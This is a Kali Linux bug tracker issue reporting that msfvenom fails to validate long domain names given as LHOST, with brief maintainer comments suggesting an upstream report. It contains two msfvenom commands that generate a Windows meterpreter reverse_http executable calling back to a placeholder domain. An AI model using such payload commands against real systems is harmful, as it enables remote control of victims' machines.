View Issue Details

IDProjectCategoryView StatusLast Update
0004507Kali LinuxKali Package Bugpublic2018-05-08 07:52
Reporterpkreuzt Assigned To 
PrioritynormalSeveritymajorReproducibilitysometimes
Status closedResolutionsuspended 
Summary0004507: msfvenom fails to validate LHOST option
Description

There seems to be an error in msfvenom which causes LHOST option to be not parseable under some circumstances. I have not been able to trace the error to the exact cause, but seems that if you specify LHOST to a long domain name with usual syntax it fails:

$ msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOST=myverylongdomainname.com LPORT=9999 -f exe

Error: The following options failed to validate: LHOST.

But if you specify the same domain omitting the '=' symbol it behaves correctly:

$ msfvenom -p windows/meterpreter/reverse_http -a x86 --platform windows LHOSTmyverylongdomainname.com LPORT=9999 -f exe

[The payload is generated]

Also, if you specify LHOST to a short domain or an IP address it gets generated correctly too.

Activities

pkreuzt

pkreuzt

2018-01-30 09:44

reporter   ~0008565

This seem to affect msfconsole too. Maybe other msf-related tools?

g0tmi1k

g0tmi1k

2018-01-30 10:10

administrator   ~0008566

It might be worth making a bug ticket upstream: https://github.com/rapid7/metasploit-framework/issues

pkreuzt

pkreuzt

2018-01-30 11:29

reporter   ~0008577

Reported upstream:

https://github.com/rapid7/metasploit-framework/issues/9476

@g0tmi1k I thought the usual practice was reporting first to distro maintainers

g0tmi1k

g0tmi1k

2018-01-30 11:41

administrator   ~0008578

@pkreuzt Depends if its an issue with the OS/package or the tool itself ;)
I'm not sure which, but edging bets with tool for this.

Issue History

Date Modified Username Field Change
2018-01-30 09:30 pkreuzt New Issue
2018-01-30 09:44 pkreuzt Note Added: 0008565
2018-01-30 10:10 g0tmi1k Note Added: 0008566
2018-01-30 11:29 pkreuzt Note Added: 0008577
2018-01-30 11:41 g0tmi1k Note Added: 0008578
2018-05-08 07:52 g0tmi1k Status new => closed
2018-05-08 07:52 g0tmi1k Resolution open => suspended